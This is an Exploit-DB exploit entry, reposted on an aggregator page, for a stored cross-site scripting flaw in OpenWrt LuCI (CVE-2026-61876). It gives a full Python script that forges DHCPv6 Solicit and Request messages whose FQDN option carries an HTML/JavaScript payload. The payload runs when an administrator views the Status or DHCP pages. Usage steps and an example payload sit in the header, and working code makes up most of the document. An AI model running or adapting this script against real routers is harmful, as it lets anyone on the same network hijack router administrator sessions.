[dos] LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting
# Exploit Title: LuCI DHCPv6 - Lease Hostn 2026-8-11 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:2 收藏

# Exploit Title:       LuCI DHCPv6 -  Lease Hostname Stored Cross-Site Scripting
# CVE:                  CVE-2026-61876
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://openwrt.org/
# Software Link:        https://github.com/openwrt/luci
# Affected:             OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch
# Tested on:            OpenWrt 25.12.0-rc1 x86_64
# Category:             Remote
# Platform:             Linux
# Exploit Type:         Stored XSS
# CVSS:                 8.8
# Description:          An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables.
# Fixed in:             LuCI commit 55379d0 (and backports)
# Usage:
#   python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>'
#
# Examples:
#   python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>'
#
# Options:
#   --ifindex         Interface index of the LAN interface
#   --hostname        Malicious hostname/FQDN payload
#   --server          DHCPv6 server (default: ff02::1:2)
#   --release         Release the lease after injection
#
# Notes:
#   • Requires adjacent network access (LAN)
#   • Administrator must view Status > Overview or Network > DHCP and DNS
#   • Payload example triggers alert(); other XSS payloads work too.
#
# How to Use
#
# Step 1:
#   Identify your LAN interface index: ip -o link show | awk '{print $1, $2}'
#
# Step 2:
#   Run the exploit and then open LuCI as admin to trigger the payload.

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╝
""")

import argparse
import os
import random
import socket
import struct
import time

OPT_CLIENTID = 1
OPT_SERVERID = 2
OPT_IA_NA = 3
OPT_ORO = 6
OPT_ELAPSED = 8
OPT_STATUS = 13
OPT_IAADDR = 5
OPT_FQDN = 39

def opt(code, data):
    return struct.pack("!HH", code, len(data)) + data

def options(buf):
    i = 0
    while i + 4 <= len(buf):
        code, length = struct.unpack("!HH", buf[i:i + 4])
        i += 4
        yield code, buf[i:i + length]
        i += length

def first_opt(buf, wanted):
    for code, data in options(buf):
        if code == wanted:
            return data
    return None

def encode_domain(name):
    labels = name.rstrip(".").split(".") if name else []
    out = bytearray()
    for label in labels:
        raw = label.encode("utf-8")
        if len(raw) > 63:
            raise ValueError("domain label too long for DHCPv6 FQDN option")
        out.append(len(raw))
        out += raw
    out.append(0)
    return bytes(out)

def make_duid(mac):
    dhcpv6_epoch = 946684800
    now = int(time.time() - dhcpv6_epoch)
    return struct.pack("!HHI", 1, 1, now) + mac

def make_msg(msg_type, txid, opts):
    return bytes([msg_type]) + txid + b"".join(opts)

def parse_msg(data):
    if len(data) < 4:
        return None
    return data[0], data[1:4], data[4:]

def open_sock(ifindex, port, bind_addr):
    s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
    s.settimeout(4)
    try:
        s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex)
    except OSError:
        pass
    try:
        s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0))
        return s, port
    except OSError:
        if port != 0:
            s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0))
            return s, s.getsockname()[1]
        raise

def send_recv(sock, dst, msg, txid, expect_types):
    sock.sendto(msg, dst)
    deadline = time.time() + 5
    while time.time() < deadline:
        try:
            data, addr = sock.recvfrom(4096)
        except socket.timeout:
            break
        parsed = parse_msg(data)
        if not parsed:
            continue
        msg_type, rxid, opts = parsed
        if rxid == txid and msg_type in expect_types:
            return msg_type, opts, addr, data
    return None

def status_text(ia_na):
    if not ia_na:
        return ""
    for code, data in options(ia_na[12:]):
        if code == OPT_STATUS and len(data) >= 2:
            status = struct.unpack("!H", data[:2])[0]
            text = data[2:].decode("utf-8", "replace")
            return f"status={status} {text}".strip()
    return ""

def main():
    banner()
    ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)")
    ap.add_argument("--ifindex", type=int, required=True)
    ap.add_argument("--hostname", required=True)
    ap.add_argument("--server", default="ff02::1:2")
    ap.add_argument("--bind-addr", default="::")
    ap.add_argument("--port", type=int, default=546)
    ap.add_argument("--release", action="store_true")
    ap.add_argument("--duid-hex")
    ap.add_argument("--iaid-hex")
    args = ap.parse_args()

    if args.duid_hex:
        duid = bytes.fromhex(args.duid_hex)
        mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6
    else:
        mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)])
        duid = make_duid(mac)

    iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4)
    fqdn = bytes([0]) + encode_domain(args.hostname)
    oro = struct.pack("!HHH", 23, 24, OPT_FQDN)

    sock, sport = open_sock(args.ifindex, args.port, args.bind_addr)
    dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0)

    txid = os.urandom(3)
    solicit = make_msg(1, txid, [
        opt(OPT_CLIENTID, duid),
        opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"),
        opt(OPT_ORO, oro),
        opt(OPT_ELAPSED, b"\x00\x00"),
        opt(OPT_FQDN, fqdn),
    ])
    adv = send_recv(sock, dst, solicit, txid, {2})
    if not adv:
        print(f"NO_ADVERTISE source_port={sport}")
        return 2

    _, adv_opts, addr, _ = adv
    serverid = first_opt(adv_opts, OPT_SERVERID)
    ia_na = first_opt(adv_opts, OPT_IA_NA)
    print(f"ADVERTISE from={addr[0]} source_port={sport}")

    if not serverid or not ia_na:
        return 3

    txid = os.urandom(3)
    request = make_msg(3, txid, [
        opt(OPT_CLIENTID, duid),
        opt(OPT_SERVERID, serverid),
        opt(OPT_IA_NA, ia_na),
        opt(OPT_ORO, oro),
        opt(OPT_ELAPSED, b"\x00\x00"),
        opt(OPT_FQDN, fqdn),
    ])
    rep = send_recv(sock, dst, request, txid, {7})
    if not rep:
        print("NO_REPLY")
        return 4

    _, reply_opts, addr, _ = rep
    print(f"REPLY from={addr[0]}")

    if args.release:
        txid = os.urandom(3)
        release = make_msg(8, txid, [
            opt(OPT_CLIENTID, duid),
            opt(OPT_SERVERID, serverid),
            opt(OPT_IA_NA, ia_na),
        ])
        rel = send_recv(sock, dst, release, txid, {7})
        print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY")

    print(f"DUID={duid.hex()} IAID={iaid.hex()}")
    return 0

if __name__ == "__main__":
    raise SystemExit(main())
            

文章来源: https://www.exploit-db.com/exploits/52637
如有侵权请联系:admin#unsafe.sh